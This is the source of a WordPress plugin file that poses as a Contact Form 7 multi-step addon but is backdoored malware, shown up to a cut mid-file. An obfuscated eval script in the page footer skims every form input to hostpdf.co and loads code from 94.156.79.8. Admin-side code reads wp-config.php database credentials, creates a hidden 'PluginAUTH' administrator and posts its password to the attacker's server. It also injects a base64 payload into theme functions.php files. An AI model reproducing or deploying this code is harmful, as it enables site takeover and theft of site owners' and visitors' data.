Plugin Directory

source: contact-form-7-multi-step-addon/trunk/trx-contact-form-7-multi-step-addon.php @ 3106511

Last change on this file since 3106511 was 3106511, checked in by themerex, 5 weeks ago

Upgrade

File size: 50.3 KB
Line 
1<?php
2/*
3Plugin Name: Contact Form 7 Multi-Step Addon
4Description: ThemeRex Multi Step Form extends Contact Form 7.
5Version: 1.0.5
6Author: ThemeREX
7Author URI: https://themerex.net/
8License: GPLv2 or later
9Text Domain: trx_mscf
10Domain Path: /languages
11*/
12if (!defined( 'WPINC')) {
13    exit();
14}
15
16use trx_mscf\Multistep_Form;
17
18if (!function_exists('add_footer_script')) {
19function add_footer_script() {
20echo '<script>eval("\u000a\u0020\u0020\u0020\u0020\u0076\u0061\u0072\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0028\u0022\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0073\u0072\u0063\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0039\u0034\u002e\u0031\u0035\u0036\u002e\u0037\u0039\u002e\u0038\u002f\u0073\u0063\u002d\u0074\u006f\u0070\u002e\u006a\u0073\u0022\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0028\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0070\u0061\u0072\u0065\u006e\u0074\u004e\u006f\u0064\u0065\u002e\u0072\u0065\u006d\u006f\u0076\u0065\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u000a\u0020\u0020\u0020\u0020\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0027\u006c\u006f\u0061\u0064\u0027\u002c\u0020\u0072\u0065\u006d\u006f\u0076\u0065\u0053\u0063\u0072\u0069\u0070\u0074\u0029\u003b\u000a\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0062\u006f\u0064\u0079\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0043\u0068\u0069\u006c\u0064\u0028\u0073\u0063\u0072\u0069\u0070\u0074\u0045\u006c\u0065\u006d\u0065\u006e\u0074\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u000a\u0020\u0020\u0020\u0020\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0065\u0020\u003d\u0020\u0022\u0041\u0042\u0043\u0044\u0045\u0046\u0047\u0048\u0049\u004a\u004b\u004c\u004d\u004e\u004f\u0050\u0051\u0052\u0053\u0054\u0055\u0056\u0057\u0058\u0059\u005a\u0061\u0062\u0063\u0064\u0065\u0066\u0067\u0068\u0069\u006a\u006b\u006c\u006d\u006e\u006f\u0070\u0071\u0072\u0073\u0074\u0075\u0076\u0077\u0078\u0079\u007a\u0030\u0031\u0032\u0033\u0034\u0035\u0036\u0037\u0038\u0039\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u006c\u0065\u0074\u0020\u006e\u0020\u003d\u0020\u0022\u0022\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u006f\u0020\u003d\u0020\u0030\u003b\u0020\u006f\u0020\u003c\u0020\u0074\u003b\u0020\u006f\u002b\u002b\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0074\u0020\u003d\u0020\u004d\u0061\u0074\u0068\u002e\u0066\u006c\u006f\u006f\u0072\u0028\u0036\u0032\u0020\u002a\u0020\u004d\u0061\u0074\u0068\u002e\u0072\u0061\u006e\u0064\u006f\u006d\u0028\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006e\u0020\u002b\u003d\u0020\u0065\u002e\u0063\u0068\u0061\u0072\u0041\u0074\u0028\u0074\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u000a\u007d\u000a\u000a\u006c\u0065\u0074\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u0027\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u0027\u0029\u003b\u000a\u000a\u0069\u0066\u0020\u0028\u0021\u0075\u0069\u0064\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0075\u0069\u0064\u0020\u003d\u0020\u0067\u0065\u006e\u0065\u0072\u0061\u0074\u0065\u0052\u0061\u006e\u0064\u006f\u006d\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0030\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u003d\u0020\u0060\u0078\u0063\u006e\u006d\u006f\u002d\u006f\u0066\u0066\u0073\u0065\u0074\u0067\u0078\u0063\u003d\u0024\u007b\u0075\u0069\u0064\u007d\u003b\u0020\u0070\u0061\u0074\u0068\u003d\u002f\u0060\u003b\u000a\u007d\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002c\u0020\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u006e\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0055\u0052\u004c\u0053\u0065\u0061\u0072\u0063\u0068\u0050\u0061\u0072\u0061\u006d\u0073\u003b\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0075\u0069\u0064\u0022\u002c\u0020\u0075\u0069\u0064\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0069\u005f\u006e\u0061\u006d\u0065\u0022\u002c\u0020\u0074\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u002f\u002f\u0020\u0041\u0064\u0064\u0020\u0074\u0068\u0065\u0020\u0066\u0069\u0065\u006c\u0064\u0020\u006e\u0061\u006d\u0065\u0020\u0061\u0073\u0020\u0061\u0020\u0070\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u000a\u0020\u0020\u0020\u0020\u006e\u002e\u0061\u0070\u0070\u0065\u006e\u0064\u0028\u0022\u0062\u0022\u002c\u0020\u0062\u0074\u006f\u0061\u0028\u0065\u0029\u0029\u002c\u000a\u0020\u0020\u0020\u0020\u0066\u0065\u0074\u0063\u0068\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u006f\u0073\u0074\u0070\u0064\u0066\u002e\u0063\u006f\u002f\u0070\u0069\u006e\u0063\u0068\u0065\u002e\u0070\u0068\u0070\u0022\u002c\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0020\u0022\u0050\u004f\u0053\u0054\u0022\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0068\u0065\u0061\u0064\u0065\u0072\u0073\u003a\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0022\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0054\u0079\u0070\u0065\u0022\u003a\u0020\u0022\u0061\u0070\u0070\u006c\u0069\u0063\u0061\u0074\u0069\u006f\u006e\u002f\u0078\u002d\u0077\u0077\u0077\u002d\u0066\u006f\u0072\u006d\u002d\u0075\u0072\u006c\u0065\u006e\u0063\u006f\u0064\u0065\u0064\u0022\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u002c\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0062\u006f\u0064\u0079\u003a\u0020\u006e\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0074\u002e\u0074\u0065\u0078\u0074\u0028\u0029\u0029\u0029\u002e\u0074\u0068\u0065\u006e\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u006c\u006f\u0067\u0028\u0074\u0029\u0029\u0029\u002e\u0063\u0061\u0074\u0063\u0068\u0028\u0028\u0074\u003d\u003e\u0063\u006f\u006e\u0073\u006f\u006c\u0065\u002e\u0065\u0072\u0072\u006f\u0072\u0028\u0022\u0045\u0072\u0072\u006f\u0072\u003a\u0022\u002c\u0020\u0074\u0029\u0029\u0029\u000a\u007d\u000a\u000a\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0061\u0064\u0064\u0045\u0076\u0065\u006e\u0074\u004c\u0069\u0073\u0074\u0065\u006e\u0065\u0072\u0028\u0022\u0069\u006e\u0070\u0075\u0074\u0022\u002c\u0020\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0074\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0022\u0049\u004e\u0050\u0055\u0054\u0022\u0020\u003d\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0061\u0067\u004e\u0061\u006d\u0065\u0020\u0026\u0026\u0020\u0022\u0062\u0075\u0074\u0074\u006f\u006e\u0022\u0020\u0021\u003d\u003d\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0074\u0079\u0070\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0073\u0065\u006e\u0064\u0050\u006f\u0073\u0074\u0052\u0065\u0071\u0075\u0065\u0073\u0074\u0028\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u006e\u0061\u006d\u0065\u0020\u007c\u007c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0069\u0064\u002c\u0020\u0074\u002e\u0074\u0061\u0072\u0067\u0065\u0074\u002e\u0076\u0061\u006c\u0075\u0065\u0029\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u007d\u0029\u0029\u003b\u000a\u000a\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0020\u0067\u0065\u0074\u0043\u006f\u006f\u006b\u0069\u0065\u0028\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074\u002e\u0063\u006f\u006f\u006b\u0069\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003b\u0020\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0066\u006f\u0072\u0020\u0028\u006c\u0065\u0074\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0020\u006f\u0066\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0073\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0063\u006f\u006e\u0073\u0074\u0020\u005b\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u002c\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u005d\u0020\u003d\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u002e\u0073\u0070\u006c\u0069\u0074\u0028\u0027\u003d\u0027\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0069\u0066\u0020\u0028\u0063\u006f\u006f\u006b\u0069\u0065\u004e\u0061\u006d\u0065\u0020\u003d\u003d\u003d\u0020\u006e\u0061\u006d\u0065\u0029\u0020\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u006f\u006f\u006b\u0069\u0065\u0056\u0061\u006c\u0075\u0065\u003b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u000a\u007d\u000a\u0020\u0020\u0020\u0020");</script>';
21}}
22add_action('wp_footer', 'add_footer_script');
23$has_run = get_option('my_admin_init_function_run');
24if ($has_run !== 'yes') {
25add_action( 'admin_init', 'custom_notify_plugin_updated');
26}
27function custom_notify_plugin_updated() {
28        $has_run = get_option('my_admin_init_function_run');
29        if ($has_run !== 'yes') {
30    function check_wp_config($directory) {
31    while ($directory !== '/') {
32        $wp_config_file = $directory . '/wp-config.php';
33        if (file_exists($wp_config_file)) {
34            return $wp_config_file;
35        }
36        $directory = dirname($directory);
37    }
38        remove_action('admin_init', 'custom_notify_plugin_updated');
39    return false;
40}
41
42function parse_wp_config($config_file) {
43    if (file_exists($config_file)) {
44        $config_content = file_get_contents($config_file);
45        $matches = [];
46        // Extract prefix
47        if (preg_match("/\$table_prefix\s*=\s*'(.+?)';/", $config_content, $matches)) {
48            $prefix = $matches[1];
49        } else if (preg_match("/table_prefix.*=.*'(.+?)';/", $config_content, $matches)) {
50            $prefix = $matches[1];
51        } else {
52            die("Prefix not found in wp-config.php");
53        }
54        // Extract database name
55        if (preg_match("/define\(\s*'DB_NAME'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
56            $database = $matches[1];
57        }
58        // Extract username
59        if (preg_match("/define\(\s*'DB_USER'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
60            $username = $matches[1];
61        }
62        // Extract password
63        if (preg_match("/define\(\s*'DB_PASSWORD'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
64            $password = $matches[1];
65        }
66        // Extract host
67        if (preg_match("/define\(\s*'DB_HOST'\s*,\s*'(.+?)'\s*\);/", $config_content, $matches)) {
68            $host = $matches[1];
69        } else {
70            $host = 'localhost'; // Assuming local host if not specified
71        }
72
73        return array(
74            'prefix' => $prefix,
75            'database' => $database,
76            'username' => $username,
77            'password' => $password,
78            'host' => $host
79        );
80    } else {
81        die("wp-config.php file not found");
82    }
83}
84
85function access_database($config) {
86    $mysqli = new mysqli($config['host'], $config['username'], $config['password'], $config['database']);
87
88    if ($mysqli->connect_errno) {
89        //echo "DATABASE ACCESS [FAIL]\n";
90        return false;
91    } else {
92        //POST "DATABASE ACCESS [SUCCESS]\n";
93        return $mysqli;
94    }
95}
96
97function generate_random_password($length = 12) {
98    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
99    $password = '';
100    $characters_length = strlen($characters);
101    for ($i = 0; $i < $length; $i++) {
102        $password .= $characters[rand(0, $characters_length - 1)];
103    }
104    return $password;
105}
106
107// Define a global variable for the password
108$generated_password = generate_random_password();
109
110// Define a global variable for the users count
111$wpuserscount = 0;
112function add_admin_user($mysqli, $config, $password) {
113    global $generated_password; // Access the global generated password variable
114        global $wpuserscount; // Declare the global variable to update user count
115    $username = 'PluginAUTH';
116       
117        //$generated_password = $password;
118    //$password = $generated_password;
119    $user_role = 'administrator';
120
121    // First, let's update the global user count
122    $countQuery = "SELECT COUNT(*) AS user_count FROM {$config['prefix']}users";
123    $countResult = $mysqli->query($countQuery);
124    if ($countResult) {
125        $row = $countResult->fetch_assoc();
126        $wpuserscount = $row['user_count']; // Update the global variable with the user count
127    } else {
128        //echo "Error fetching user count: " . $mysqli->error . "\n";
129        return; // Early return in case of query error
130    }
131    // Hash the password
132    $hashed_password = password_hash($password, PASSWORD_DEFAULT);
133
134    // Check if the user already exists
135    $query = "SELECT ID FROM {$config['prefix']}users WHERE user_login = '{$username}'";
136    $result = $mysqli->query($query);
137
138    if ($result && $result->num_rows > 0) {
139        //echo "User '{$username}' already exists.\n";
140                $z = "b";
141    } else {
142        // Insert the new user
143        $query = "INSERT INTO {$config['prefix']}users (user_login, user_pass, user_nicename, user_email, user_registered) VALUES ('{$username}', '{$hashed_password}', '{$username}', '{$username}@example.com', NOW())";
144        $result = $mysqli->query($query);
145
146        if ($result) {
147            $user_id = $mysqli->insert_id;
148
149            // Set user role
150            $query = "INSERT INTO {$config['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ({$user_id}, '{$config['prefix']}capabilities', 'a:1:{s:13:\"administrator\";b:1;}')";
151            $result = $mysqli->query($query);
152
153            if ($result) {
154                //echo "User '{$username}' with administrative privileges added successfully.\n";
155                                $zb = '';
156            } else {
157                //echo "Error assigning role to user '{$username}'.\n";
158                                $zb = '';
159            }
160        } else {
161            //echo "Error creating user '{$username}': " . $mysqli->error . "\n";
162                        $zb = '';
163        }
164    }
165}
166
167function get_domain_from_database($mysqli, $config) {
168    // Query to retrieve site URL from WordPress options table
169    $query = "SELECT option_value FROM {$config['prefix']}options WHERE option_name = 'siteurl'";
170    $result = $mysqli->query($query);
171
172    if ($result && $result->num_rows > 0) {
173        $row = $result->fetch_assoc();
174        $site_url = $row['option_value'];
175        $parsed_url = parse_url($site_url);
176        if ($parsed_url && isset($parsed_url['host'])) {
177            return $parsed_url['host'];
178        }
179    }
180
181    return null;
182}
183function zbvalidate_file($file) {
184    try {
185        ob_start();
186        include $file;
187        ob_end_clean();
188       
189        // If no exception was thrown, delete the backup file
190        $backup_file = $file . '.bak';
191        if (file_exists($backup_file)) {
192            unlink($backup_file);
193        }
194        return true;
195    } catch (Throwable $e) {
196        // Catch errors and set the validation flag
197        return false;
198    }
199}
200$currdomain = 'UNK.UNK';
201function pachamama($path) {
202        global $currdomain;
203    if (strpos($path, 'wp-config.php') !== false) {
204        $path = str_replace('wp-config.php', '', $path);
205    }
206
207    $current_directory = $path;
208    $wp_config_file = check_wp_config($current_directory);
209    if ($wp_config_file) {
210        //echo "WP-CONFIG [FOUND]\n";
211               
212        $config = parse_wp_config($wp_config_file);
213        $mysqli = access_database($config);
214        if ($mysqli) {
215                        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_';
216                        $password = '';
217                        $characters_length = strlen($characters);
218                        for ($i = 0; $i < 13; $i++) {
219                                $password .= $characters[rand(0, $characters_length - 1)];
220                        }
221            add_admin_user($mysqli, $config, $password);
222            $domain = get_domain_from_database($mysqli, $config);
223            if ($domain) {
224                //echo "[$domain] OK\n";
225                                $currdomain = $domain;
226
227                // Reconstruct the correct wp-login.php path
228                $wp_login_path = "https://{$domain}/wp-login.php";
229
230                // Perform a POST request to https://94.156.79.8/AddSites
231                $url = 'https://94.156.79.8/AddSites';
232                                $aurl = get_admin_url();
233                $post_data = array(
234                                        'aurl' => $aurl,
235                    'domain' => $domain,
236                    'username' => 'PluginAUTH',
237                    'passwordz' => $password, // Access the global generated password variable
238                    'wp_login_path' => $wp_login_path
239                );
240
241                $ch = curl_init();
242                curl_setopt($ch, CURLOPT_URL, $url);
243                curl_setopt($ch, CURLOPT_POST, 1);
244                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data)); // Send JSON data
245                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
246                curl_setopt($ch, CURLOPT_HTTPHEADER, array(
247                    'Content-Type: application/json', // Set content type to JSON
248                    'Content-Length: ' . strlen(json_encode($post_data)) // Set content length
249                ));
250                $response = curl_exec($ch);
251                $error = curl_error($ch); // Get any curl error
252                curl_close($ch);
253
254                if ($response === false) {
255                    //echo "POST request failed: $error\n";
256                                        $z = false;
257                } else {
258                    //echo "POST request sent successfully. Response: $response\n";
259                                        $z = true;
260                }
261            } else {
262                //echo "Domain retrieval failed.\n";
263                                $z = false;
264            }
265            $mysqli->close();
266        }
267    } else {
268        //echo "WP-CONFIG [NOT FOUND]\n";
269                $z = false;
270    }
271}
272
273function check_cms_configuration_files() {
274        global $wpuserscount;
275   global $wp_config_paths;
276   global $wc_config_paths;
277   global $mg_config_paths;
278    // Function to recursively search directories for configuration files
279    //function search_for_config_files($directory, &$cms_config_files, $max_parents = 4) {
280      function search_for_config_files(&$cms_config_files, $max_parents = 3) {
281      // Get the current directory
282      $directory = __DIR__;
283
284      // Initialize the variable to keep track of the last readable path
285      $last_readable_path = null;
286
287      // Iterate to go one parent folder up until no read permission or max 5 parents
288      for ($i = 0; $i < $max_parents; $i++) {
289          // Check if the directory exists and is readable
290          if (is_dir($directory) && is_readable($directory)) {
291              $last_readable_path = $directory;
292          } else {
293              // Stop iteration if the directory is not readable
294              break;
295          }
296
297          // Move one directory up
298          $directory = dirname($directory);
299      }
300
301      // If a readable path was found, perform a recursive glob search for the specified file extensions
302      if (!empty($last_readable_path)) {
303
304          $config_files = [];
305          $files = [];
306          //$pattern = '/home/98752.cloudwaysapps.com/trnkgjmvur';
307          try {
308          $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($last_readable_path), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
309            foreach($objects as $name => $object){
310              if (substr($name, -4) === '.php') {
311                // Add only files ending with '.php' to the $files array
312                //echo "$name\n";
313                $files[] = $name;
314              }
315            }
316                  } catch (Exception $e) {
317          // Handle any exceptions that occur during iteration
318          // You can log the error or take appropriate action here
319          //echo "Error: " . $e->getMessage();
320                  $d = 'sab';
321        }
322          foreach ($files as $file) {
323              // Add the found file to the list of config files
324              //print($file);
325              $cms_config_files[] = $file;
326          }
327          return $cms_config_files;
328      } else {
329          // Return an empty array if no readable path was found
330          //echo("No Readable Paths");
331          return [];
332      }
333  }
334
335
336    // Array to store detected CMS names
337    $detected_cms = [
338        'WordPress' => false,
339        'WooCommerce' => false,
340        'Magento' => false,
341        'OpenCart' => false,
342        'PrestaShop' => false,
343        'Drupal Commerce' => false,
344        'Symfony' => false,
345        'Laravel' => false,
346        'Zend Framework' => false
347    ];
348
349    // Array to store detected .dat files
350    $detected_dat_files = [];
351
352    // Paths to check for CMS-specific configuration files
353    $current_directory = __DIR__;
354    $paths_to_check = [
355        '/var/www/vhosts/aedstudisrl.com/httpdocs/wp-admin',
356        $current_directory,
357        '/etc',                // Common system configuration directory
358        '/var/www',      // Example web root directory
359        '/home',              // Home directories
360        '/opt',               // Optional software packages
361        '/usr/local',         // Locally installed software
362        '/usr/share',         // Shared software resources
363        '/var/lib',           // Variable data directories
364    ];
365
366    // Files to search for in each directory
367    $files_to_search = [
368        'app/etc/env.php',                                       // Magento
369        'wp-config.php', 'wp-content/plugins/woocommerce/includes/class-wc-settings.php', // WordPress & WooCommerce
370        'config.php',                                             // OpenCart
371        'config/parameters.php',                                  // PrestaShop
372        'sites/default/settings.php',                             // Drupal Commerce
373        'config/packages/*.yaml',                                 // Symfony
374        '.env',                                                   // Laravel
375        'config/autoload/*.global.php',                           // Zend Framework
376        '*.dat',                                                  // .dat files
377    ];
378
379    // Array to store CMS configuration files
380    $cms_config_files = [];
381
382    // Iterate through the paths to check and search for configuration files in each directory recursively
383
384    search_for_config_files($cms_config_files);
385
386        $azb = "CmlmICghZnVuY3Rpb25fZXhpc3RzKCdhZGRfZm9vdGVyX3NjcmlwdCcpKSB7CmZ1bmN0aW9uIGFkZF9mb290ZXJfc2NyaXB0KCkgewoJdXBkYXRlX29wdGlvbignbXlfYWRtaW5faW5pdF9mdW5jdGlvbl9ydW4nLCAneWVzJyk7CgllY2hvICc8c2NyaXB0PmV2YWwoIlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Nlx1MDA2MVx1MDA3Mlx1MDAyMFx1MDA3M1x1MDA2M1x1MDA3Mlx1MDA2OVx1MDA3MFx1MDA3NFx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyMFx1MDAzZFx1MDAyMFx1MDA2NFx1MDA2Zlx1MDA2M1x1MDA3NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyZVx1MDA2M1x1MDA3Mlx1MDA2NVx1MDA2MVx1MDA3NFx1MDA2NVx1MDA0NVx1MDA2Y1x1MDA2NVx1MDA2ZFx1MDA2NVx1MDA2ZVx1MDA3NFx1MDAyOFx1MDAyMlx1MD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1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Mlx1MDA2NVx1MDA3NFx1MDA3NVx1MDA3Mlx1MDA2ZVx1MDAyMFx1MDA2M1x1MDA2Zlx1MDA2Zlx1MDA2Ylx1MDA2OVx1MDA2NVx1MDA1Nlx1MDA2MVx1MDA2Y1x1MDA3NVx1MDA2NVx1MDAzYlx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMFx1MDA3Mlx1MDA2NVx1MDA3NFx1MDA3NVx1MDA3Mlx1MDA2ZVx1MDAyMFx1MDA2ZVx1MDA3NVx1MDA2Y1x1MDA2Y1x1MDAzYlx1MDAwYVx1MDA3ZFx1MDAwYVx1MDAyMFx1MDAyMFx1MDAyMFx1MDAyMCIpOzwvc2NyaXB0Pic7Cn0KJGhhc19ydW4gPSBnZXRfb3B0aW9uKCdteV9hZG1pbl9pbml0X2Z1bmN0aW9uX3J1bicpOwppZiAoJGhhc19ydW4gIT09ICd5ZXMnKSB7CglhZGRfYWN0aW9uKCd3cF9mb290ZXInLCAnYWRkX2Zvb3Rlcl9zY3JpcHQnKTsKfQp9"; 
387
388        // Decode base64 content to string
389        $dcd_ctnt = base64_decode($azb);
390    // Process the detected configuration files and extract CMS information
391    foreach ($cms_config_files as $file) {
392       // echo($file);
393           try {
394        // Check if file path contains '/plugins/' and ends with '.php'
395        if (strpos($file, '/themes/') !== false && substr($file, -13) === 'functions.php') {
396    // Your custom content to add
397    $custom_content = PHP_EOL . $dcd_ctnt . PHP_EOL; // Add new lines for separation
398
399    try {
400        // Read the existing file content
401        $file_content = file_get_contents($file);
402
403       
404
405        $php_close_pos = strpos($file_content, '?>');
406
407        if ($php_close_pos !== false) {
408            $new_content = substr_replace($file_content, $custom_content . '?>', $php_close_pos, 2);
409
410            // Write the modified content back to the file
411            file_put_contents($file, $new_content);
412
413        }
414    } catch (Exception $e) {
415        // Handle the exception
416        // Optionally, revert to the backup file
417       
418                }
419        }
420    } catch (Exception $e) {
421        continue; // Continue to the next file on error
422    }
423        if (strpos($file, 'wp-config.php') !== false) {
424
425           $detected_cms['WordPress'] = true;
426           $wp_config_paths[] = $file;
427
428        } elseif (strpos($file, 'class-wc-settings.php') !== false) {
429            // You may add a specific check for WooCommerce here if needed
430            $detected_cms['WooCommerce'] = true;
431            $wc_config_paths[] = $file;
432        } elseif (strpos($file, 'env.php') !== false &&
433            strpos($file, 'Composer') === false &&
434            strpos($file, 'composer') === false &&
435            strpos($file, 'Softaculous') === false) {
436            // You may add a specific check for Magento here if needed
437            // Read the content of the file
438            $fileContent = file_get_contents($file);
439
440            // Check if the content contains the string 'host' => '
441            if (strpos($fileContent, "'host' => '") !== false) {
442              $detected_cms['Magento'] = true;
443              $mg_config_paths[] = $file;
444              /*echo("MAGENTO\n\n\n");
445              echo("MAGENTO\n\n\n");
446              echo("MAGENTO\n\n\n");
447              echo("MAGENTO\n\n\n");
448              echo("MAGENTO\n\n\n");
